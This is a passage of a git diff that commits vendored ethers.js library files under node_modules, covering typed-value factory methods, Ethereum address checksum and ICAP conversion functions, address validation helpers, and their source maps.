* Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt() { + return !!(this.type.match(/^u?int[0-9]+$/)); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData() { + return this.type.startsWith("bytes"); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString() { + return (this.type === "string"); + } + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName() { + if (this.type !== "tuple") { + throw TypeError("not a tuple"); + } + return this.#options; + } + // Returns the length of this type as an array + // - `null` indicates the length is unforced, it could be dynamic + // - `-1` indicates the length is dynamic + // - any other value indicates it is a static array and is its length + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength() { + if (this.type !== "array") { + throw TypeError("not an array"); + } + if (this.#options === true) { + return -1; + } + if (this.#options === false) { + return (this.value).length; + } + return null; + } + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type, value) { + return new Typed(_gaurd, type, value); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v) { return n(v, 8); } + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v) { return n(v, 16); } + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v) { return n(v, 24); } + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v) { return n(v, 32); } + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v) { return n(v, 40); } + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v) { return n(v, 48); } + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v) { return n(v, 56); } + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v) { return n(v, 64); } + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v) { return n(v, 72); } + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v) { return n(v, 80); } + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v) { return n(v, 88); } + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v) { return n(v, 96); } + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v) { return n(v, 104); } + /** + * Return a new ``uint112`` type for %%v%%. + */ + static uint112(v) { return n(v, 112); } + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v) { return n(v, 120); } + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v) { return n(v, 128); } + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v) { return n(v, 136); } + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v) { return n(v, 144); } + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v) { return n(v, 152); } + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v) { return n(v, 160); } + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v) { return n(v, 168); } + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v) { return n(v, 176); } + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v) { return n(v, 184); } + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v) { return n(v, 192); } + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v) { return n(v, 200); } + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v) { return n(v, 208); } + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v) { return n(v, 216); } + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v) { return n(v, 224); } + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v) { return n(v, 232); } + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v) { return n(v, 240); } + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v) { return n(v, 248); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v) { return n(v, 256); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v) { return n(v, 256); } + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v) { return n(v, -8); } + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v) { return n(v, -16); } + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v) { return n(v, -24); } + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v) { return n(v, -32); } + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v) { return n(v, -40); } + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v) { return n(v, -48); } + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v) { return n(v, -56); } + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v) { return n(v, -64); } + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v) { return n(v, -72); } + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v) { return n(v, -80); } + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v) { return n(v, -88); } + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v) { return n(v, -96); } + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v) { return n(v, -104); } + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v) { return n(v, -112); } + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v) { return n(v, -120); } + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v) { return n(v, -128); } + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v) { return n(v, -136); } + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v) { return n(v, -144); } + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v) { return n(v, -152); } + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v) { return n(v, -160); } + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v) { return n(v, -168); } + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v) { return n(v, -176); } + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v) { return n(v, -184); } + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v) { return n(v, -192); } + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v) { return n(v, -200); } + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v) { return n(v, -208); } + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v) { return n(v, -216); } + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v) { return n(v, -224); } + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v) { return n(v, -232); } + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v) { return n(v, -240); } + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v) { return n(v, -248); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v) { return n(v, -256); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v) { return n(v, -256); } + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v) { return b(v, 1); } + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v) { return b(v, 2); } + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v) { return b(v, 3); } + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v) { return b(v, 4); } + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v) { return b(v, 5); } + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v) { return b(v, 6); } + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v) { return b(v, 7); } + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v) { return b(v, 8); } + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v) { return b(v, 9); } + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v) { return b(v, 10); } + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v) { return b(v, 11); } + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v) { return b(v, 12); } + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v) { return b(v, 13); } + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v) { return b(v, 14); } + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v) { return b(v, 15); } + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v) { return b(v, 16); } + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v) { return b(v, 17); } + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v) { return b(v, 18); } + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v) { return b(v, 19); } + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v) { return b(v, 20); } + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v) { return b(v, 21); } + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v) { return b(v, 22); } + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v) { return b(v, 23); } + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v) { return b(v, 24); } + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v) { return b(v, 25); } + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v) { return b(v, 26); } + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v) { return b(v, 27); } + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v) { return b(v, 28); } + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v) { return b(v, 29); } + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v) { return b(v, 30); } + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v) { return b(v, 31); } + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v) { return b(v, 32); } + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v) { return new Typed(_gaurd, "address", v); } + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v) { return new Typed(_gaurd, "bool", !!v); } + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v) { return new Typed(_gaurd, "bytes", v); } + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v) { return new Typed(_gaurd, "string", v); } + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v, dynamic) { + throw new Error("not implemented yet"); + return new Typed(_gaurd, "array", v, dynamic); + } + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v, name) { + throw new Error("not implemented yet"); + return new Typed(_gaurd, "tuple", v, name); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v) { + return new Typed(_gaurd, "overrides", Object.assign({}, v)); + } + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value) { + return (value + && typeof (value) === "object" + && "_typedSymbol" in value + && value._typedSymbol === _typedSymbol); + } + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value, type) { + if (Typed.isTyped(value)) { + if (value.type !== type) { + throw new Error(`invalid type: expecetd ${type}, got ${value.type}`); + } + return value.value; + } + return value; + } +} +//# sourceMappingURL=typed.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/typed.js.map b/node_modules/ethers/lib.esm/abi/typed.js.map new file mode 100644 index 000000000000..a29f0b057826 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/typed.js.map @@ -0,0 +1 @@ +{"version":3,"file":"typed.js","sourceRoot":"","sources":["../../src.ts/abi/typed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAEH,OAAO,EAAE,aAAa,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAOpE,MAAM,MAAM,GAAG,EAAG,CAAC;AAEnB,SAAS,CAAC,CAAC,KAAmB,EAAE,KAAa;IACzC,IAAI,MAAM,GAAG,KAAK,CAAC;IACnB,IAAI,KAAK,GAAG,CAAC,EAAE;QACX,MAAM,GAAG,IAAI,CAAC;QACd,KAAK,IAAI,CAAC,CAAC,CAAC;KACf;IAED,wCAAwC;IACxC,OAAO,IAAI,KAAK,CAAC,MAAM,EAAE,GAAI,MAAM,CAAC,CAAC,CAAC,EAAE,CAAA,CAAC,CAAC,GAAI,MAAO,KAAM,EAAE,EAAE,KAAK,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,CAAC,CAAC;AAC7F,CAAC;AAED,SAAS,CAAC,CAAC,KAAgB,EAAE,IAAa;IACtC,wCAAwC;IACxC,OAAO,IAAI,KAAK,CAAC,MAAM,EAAE,QAAS,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAA,CAAC,CAAC,EAAG,EAAE,EAAE,KAAK,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC;AAC7E,CAAC;AAoED,MAAM,YAAY,GAAG,MAAM,CAAC,GAAG,CAAC,eAAe,CAAC,CAAC;AAEjD;;GAEG;AACH,MAAM,OAAO,KAAK;IAEd;;OAEG;IACM,IAAI,CAAU;IAEvB;;OAEG;IACM,KAAK,CAAO;IAEZ,QAAQ,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IACjE,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,OAAO,CAAC,KAAU;QACrB,OAAO,CAAC,KAAK;eACN,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ;eAC1B,cAAc,IAAI,KAAK;eACvB,KAAK,CAAC,YAAY,KAAK,YAAY,CAAC,CAAC;IAChD,CAAC;IAED;;;;;;OAMG;IACH,MAAM,CAAC,WAAW,CAAI,KAAgB,EAAE,IAAY;QAChD,IAAI,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE;YACtB,IAAI,KAAK,CAAC,IAAI,KAAK,IAAI,EAAE;gBACrB,MAAM,IAAI,KAAK,CAAC,0BAA2B,IAAK,SAAU,KAAK,CAAC,IAAK,EAAE,CAAC,CAAC;aAC5E;YACD,OAAO,KAAK,CAAC,KAAK,CAAC;SACtB;QACD,OAAO,KAAK,CAAC;IACjB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/address.d.ts b/node_modules/ethers/lib.esm/address/address.d.ts new file mode 100644 index 000000000000..581be4fc5f26 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/address.d.ts @@ -0,0 +1,56 @@ +/** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ +export declare function getAddress(address: string): string; +/** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ +export declare function getIcapAddress(address: string): string; +//# sourceMappingURL=address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/address.d.ts.map b/node_modules/ethers/lib.esm/address/address.d.ts.map new file mode 100644 index 000000000000..9dec188725b2 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../src.ts/address/address.ts"],"names":[],"mappings":"AAmFA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CA6BlD;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,cAAc,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAKtD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/address.js b/node_modules/ethers/lib.esm/address/address.js new file mode 100644 index 000000000000..9c570648786b --- /dev/null +++ b/node_modules/ethers/lib.esm/address/address.js @@ -0,0 +1,156 @@ +import { keccak256 } from "../crypto/index.js"; +import { getBytes, assertArgument } from "../utils/index.js"; +const BN_0 = BigInt(0); +const BN_36 = BigInt(36); +function getChecksumAddress(address) { + // if (!isHexString(address, 20)) { + // logger.throwArgumentError("invalid address", "address", address); + // } + address = address.toLowerCase(); + const chars = address.substring(2).split(""); + const expanded = new Uint8Array(40); + for (let i = 0; i < 40; i++) { + expanded[i] = chars[i].charCodeAt(0); + } + const hashed = getBytes(keccak256(expanded)); + for (let i = 0; i < 40; i += 2) { + if ((hashed[i >> 1] >> 4) >= 8) { + chars[i] = chars[i].toUpperCase(); + } + if ((hashed[i >> 1] & 0x0f) >= 8) { + chars[i + 1] = chars[i + 1].toUpperCase(); + } + } + return "0x" + chars.join(""); +} +// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number +// Create lookup table +const ibanLookup = {}; +for (let i = 0; i < 10; i++) { + ibanLookup[String(i)] = String(i); +} +for (let i = 0; i < 26; i++) { + ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); +} +// How many decimal digits can we process? (for 64-bit float, this is 15) +// i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER)); +const safeDigits = 15; +function ibanChecksum(address) { + address = address.toUpperCase(); + address = address.substring(4) + address.substring(0, 2) + "00"; + let expanded = address.split("").map((c) => { return ibanLookup[c]; }).join(""); + // Javascript can handle integers safely up to 15 (decimal) digits + while (expanded.length >= safeDigits) { + let block = expanded.substring(0, safeDigits); + expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); + } + let checksum = String(98 - (parseInt(expanded, 10) % 97)); + while (checksum.length < 2) { + checksum = "0" + checksum; + } + return checksum; +} +; +const Base36 = (function () { + ; + const result = {}; + for (let i = 0; i < 36; i++) { + const key = "0123456789abcdefghijklmnopqrstuvwxyz"[i]; + result[key] = BigInt(i); + } + return result; +})(); +function fromBase36(value) { + value = value.toLowerCase(); + let result = BN_0; + for (let i = 0; i < value.length; i++) { + result = result * BN_36 + Base36[value[i]]; + } + return result; +} +/** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ +export function getAddress(address) { + assertArgument(typeof (address) === "string", "invalid address", "address", address); + if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { + // Missing the 0x prefix + if (!address.startsWith("0x")) { + address = "0x" + address; + } + const result = getChecksumAddress(address); + // It is a checksummed address with a bad checksum + assertArgument(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, "bad address checksum", "address", address); + return result; + } + // Maybe ICAP? (we only support direct mode) + if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { + // It is an ICAP address with a bad checksum + assertArgument(address.substring(2, 4) === ibanChecksum(address), "bad icap checksum", "address", address); + let result = fromBase36(address.substring(4)).toString(16); + while (result.length < 40) { + result = "0" + result; + } + return getChecksumAddress("0x" + result); + } + assertArgument(false, "invalid address", "address", address); +} +/** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ +export function getIcapAddress(address) { + //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase(); + let base36 = BigInt(getAddress(address)).toString(36).toUpperCase(); + while (base36.length < 30) { + base36 = "0" + base36; + } + return "XE" + ibanChecksum("XE00" + base36) + base36; +} +//# sourceMappingURL=address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/address.js.map b/node_modules/ethers/lib.esm/address/address.js.map new file mode 100644 index 000000000000..52ad00999af6 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"address.js","sourceRoot":"","sources":["../../src.ts/address/address.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EAAE,QAAQ,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAG7D,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzB,SAAS,kBAAkB,CAAC,OAAe;IAC3C,sCAAsC;IACtC,2EAA2E;IAC3E,OAAO;IAEH,OAAO,GAAG,OAAO,CAAC,WAAW,EAAE,CAAC;IAEhC,MAAM,KAAK,GAAG,OAAO,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAE7C,MAAM,QAAQ,GAAG,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC;IACpC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,EAAE,EAAE;QACzB,QAAQ,CAAC,CAAC,CAAC,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC;KACxC;IAED,MAAM,MAAM,GAAG,QAAQ,CAAC,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C,CAAC,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC;QAC3D,OAAO,MAAM,CAAC,MAAM,GAAG,EAAE,EAAE;YAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;SAAE;QACrD,OAAQ,kBAAkB,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;KAC7C;IAED,cAAc,CAAC,KAAK,EAAE,iBAAiB,EAAE,SAAS,EAAE,OAAO,CAAC,CAAC;AACjE,CAAC;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,cAAc,CAAC,OAAe;IAC1C,2EAA2E;IAC3E,IAAI,MAAM,GAAG,MAAM,CAAC,UAAU,CAAC,OAAO,CAAC,CAAC,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,WAAW,EAAE,CAAC;IACpE,OAAO,MAAM,CAAC,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;KAAE;IACrD,OAAO,IAAI,GAAG,YAAY,CAAC,MAAM,GAAG,MAAM,CAAC,GAAG,MAAM,CAAC;AACzD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/checks.d.ts b/node_modules/ethers/lib.esm/address/checks.d.ts new file mode 100644 index 000000000000..24e781f880df --- /dev/null +++ b/node_modules/ethers/lib.esm/address/checks.d.ts @@ -0,0 +1,81 @@ +import type { Addressable, AddressLike, NameResolver } from "./index.js"; +/** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ +export declare function isAddressable(value: any): value is Addressable; +/** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ +export declare function isAddress(value: any): value is string; +/** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ +export declare function resolveAddress(target: AddressLike, resolver?: null | NameResolver): string | Promise; +//# sourceMappingURL=checks.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/checks.d.ts.map b/node_modules/ethers/lib.esm/address/checks.d.ts.map new file mode 100644 index 000000000000..e2e020d10fe8 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/checks.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"checks.d.ts","sourceRoot":"","sources":["../../src.ts/address/checks.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,WAAW,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,YAAY,CAAC;AAGzE;;;;;;;;;;;;;GAaG;AACH,wBAAgB,aAAa,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,WAAW,CAE9D;AAED;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,MAAM,CAMrD;AAWD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,WAAW,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,YAAY,GAAG,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAkB5G"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/checks.js b/node_modules/ethers/lib.esm/address/checks.js new file mode 100644 index 000000000000..c7e7d43782f4 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/checks.js @@ -0,0 +1,114 @@ +import { assert, assertArgument } from "../utils/index.js"; +import { getAddress } from "./address.js"; +/** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ +export function isAddressable(value) { + return (value && typeof (value.getAddress) === "function"); +} +/** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ +export function isAddress(value) { + try { + getAddress(value); + return true; + } + catch (error) { } + return false; +} +async function checkAddress(target, promise) { + const result = await promise; + if (result == null || result === "0x0000000000000000000000000000000000000000") { + assert(typeof (target) !== "string", "unconfigured name", "UNCONFIGURED_NAME", { value: target }); + assertArgument(false, "invalid AddressLike value; did not resolve to a value address", "target", target); + } + return getAddress(result); +} +/** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise 